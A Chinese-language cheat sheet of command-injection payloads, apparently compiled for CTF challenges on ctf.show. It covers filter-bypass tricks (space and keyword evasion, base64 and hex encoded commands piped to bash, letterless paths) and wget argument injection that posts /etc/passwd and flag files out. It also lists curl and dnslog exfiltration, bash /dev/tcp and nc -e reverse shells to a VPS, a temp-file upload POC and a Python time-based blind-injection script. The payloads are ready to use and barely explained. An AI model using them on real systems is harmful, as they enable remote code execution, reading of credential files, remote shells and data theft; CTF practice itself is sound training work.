联合执行
; //分号
| //前一个命令执行的结果做为后一个命令的参数
|| //前面条命令执行失败,才会执行下个命令
& //两条命令都会执行,任务在后台执行
&& // 只有前面条命令成功,才会执行下个命令
%0a //换行
%0d
1>/dev/null 2>&1绕过
代表重定向到哪里,例如:echo “123” > /home/123.txt 1 表示stdout标准输出,系统默认值是1,所以”>/dev/null”等同于”1>/dev/ null” 2 表示stderr标准错误 & 表示等同于的意思,2>&1,表示2的输出重定向等同于1
xargs sed 改源码
参考资料: https://blog.csdn.net/weixin_39731083/article/details/82495950 参考博客:[]
- sed -i 可以替换文件内容
- xargs 可以将管道或标准输入(stdin)数据转换成命令行参数,也能够从文件的输出中读取数据。
- xargs sed 也可以批量替换文件内容

sed -i 's/book/books/g' file #把book替换成 books #g可省略
find . -name '*.xml' |xargs sed -i 's/hello/world/g'
ls | xargs sed -i "s/die/echo/"
无字母/bin
/???/????64%20????.???
# /bin/base64 flag.php
/???/???/???2 ???.????
# /usr/bin/bzip2
# 然后url访问flag.php.bz2
bypass
空格被过滤
%09
%0a
<
<>
${IFS}
$IFS$9
{cat,flag.php}
文件名被过滤
?
*
''
""
\
[%00-%ff]
提取关键内容
cat flag.php | grep flag
cat flag.php | awk "NR==n" #n为行号
cat flag.php | awk '/flag/'
cat被过滤
od -c
awk '/flag/' flag.php
nl
nl
${PATH:${#TERM}:${SHLVL:~A}}${PATH:${#RANDOM}:${#SHLVL:~A}}
${PATH:~A}${PATH:${#RANDOM}:${#SHLVL:~A}}
/bin/cat
${HOME:${#}:${##}}???${HOME:${#}:${##}}??${HOME:${#HOSTNAME}:${#SHLVL}}
xxd
less
ca\t
ca''t
more
rev
/bin/rev
fmt
base64
/bin/base64
code=${HOME:${#}:${##}}???${HOME:${#}:${##}}?????${#RANDOM}
tac
| cat的倒序
tail
php /flag
sh /flag
| 利用报错出flag
paste /flag /etc/passwd
| 可以两个一起读
diff /flag.txt /etc/passwd
curl file:///flag
sed -n "p" /flag
bzless /flag
bzmore /flag
sort
echo "[base64==]" | base64 -d | bash
echo "[hex]" | xxd -r -p | bash
某个关键字的过滤
1. 反斜线转义 cat fla\g.php
2. 两个单引号做分隔 cat fl''ag.php
3. base64编码绕过 echo Y2F0IGZsYWcucGhw | base64 -d | sh
4. hex编码绕过 echo 63617420666c61672e706870 | xxd -r -p | bash
5. glob通配符 cat f[k-m]ag.php cat f[l]ag.php
6. ?和*
7. cat f{k..m}ag.php
8. 定义变量做拼接 a=g.php; cat fla$a
9. 内联执行cat `echo 666c61672e706870 | xxd -r -p` 或 cat $(echo 666c61672e706870 | xxd -r -p) 或 echo 666c61672e706870 | xxd -r -p | xargs cat
命令拼接
a=who;b=ami;$a$b //执行whoami
a=g.php; cat fla$a //读取flag
wget命令注入
纵横杯2020
-e http_proxy=vps --method=POST --body-file=/home/ctf/flag --header=X-Powered-By:Y1ng \\n127.0.0.1
巅峰极客2021
images?image=a&argv=--post-file=/etc/passwd&argv=--input-file=http://ip:port
无回显
vps 反弹shell
//bash -i >& /dev/tcp/你的ip/9999 0>&1
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuOTEuMjYuMjI5Lzk5OTkgMD4mMQ== | base64 -d | bash
nc VPS_IP 9999 -e /bin/sh
nc VPS_IP 9999 -e /bin/bash
your-shell(curl)
大菜鸡师傅搭建的(ctfshow)
https://your-shell.com/VPS_IP:9999 | sh
curl带出
requestbin
curl https://requestbin.net/xxx/?q=`cat flag| grep flag |base64`
https://requestbin.net/r/2ocwwplr?inspect //这个页面查看
//如果没有显示的话
//在bp抓包在数据包里删掉 Cache-Control: max-age=0
//或者去掉?inspect访问,然后再返回上一个页面
dnslog带出
http://www.dnslog.cn/
curl `cat flag| grep flag |base64`.xxx.xx
php setcookie
<?php setcookie('pwd', shell_exec('pwd')); ?>
写入文件
echo '111' > xxx
nl flag.php > xxx
# tee 命令用于读取标准输入的数据,并将其内容输出成文件
ls | tee xxx
cat /flag | tee xxx
tee file1 file2 #复制文件
环境变量
数字
$()

1
${##}
${#?}
${#SHLVL}
<A;echo $?
# | 先执行错误代码, 使$?为1
参考 ctfshow 122
3 或 4
${#IFS} 一般为3
/
${HOME:${#}:${##}}
无数字字母RCE
临时文件上传
php文件上传时会先将上传的文件保存到upload_tmp_dir该配置目录下,这里为/tmp,而上传页面只负责把该文件拷贝到目标目录。也就是说不管该php页面有没有文件上传功能,我们只要上传了文件,该文件就会被上传到upload_tmp_dir配置的目录(/tmp)下,上传完后会被删除。
PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母
ctfshow web56
. 相当于source 可以执行文件
` ` 可以执行命令
[@-[] 可以表示任意大写字母 在ASCII码中 @ < A , [ > Z ,
<!-- 文件上传数据包 -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>upload-POC</title>
</head>
<body>
<form action="http://8f29caac-a8e9-42fa-b6f6-b6fe3afd8659.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
上传的文件在网站目录下
</form>
</body>
</html>

Bash盲注
截取比较
参考 https://www.cnblogs.com/kiko2014551511/p/11531558.html
-
cat /flag | cut -c (截取第几位) ${string:start:length}从字符串左边开始计数string为要截取的字符串,start是起始位置(从左边开始,从0开始计数),length是要截取的长度(省略的话表示直到字符串的末尾)
${string:0-start:length}从右边开始计数同从左边开始计数相比,这种格式仅仅多了0-,这是固定的写法,专门用来标识从字符串右边开始计数
注意点:
从左边开始计数时,起始数字是0; 从右边开始计数时,起始数字是1 不管从哪边计数,截取方向都是从左到右
延时
sleep 5
exp
Y1ng师傅的Bash盲注脚本
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests
import time as t
from urllib.parse import quote as urlen
url = 'http://28084934-32d6-41dc-991a-d2ba850a2fb4.challenge.ctf.show/?F=`$F%20`;'
alphabet = ['{','}', '.', '@','-','_','=','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']
result = ''
for i in range(50,100):
for char in alphabet:
# payload = "if [ `ls | grep 'flag' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char) #flag.php
payload = "if [ `cat flag.php | grep 'flag' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char)
# data = {'cmd':payload}
try:
start = int(t.time())
r = requests.get(url+payload)
# r = requests.post(url, data=data)
end = int(t.time()) - start
# print(i,char)
if end >= 3:
result += char
print("Flag: "+result)
break
except Exception as e:
print(e)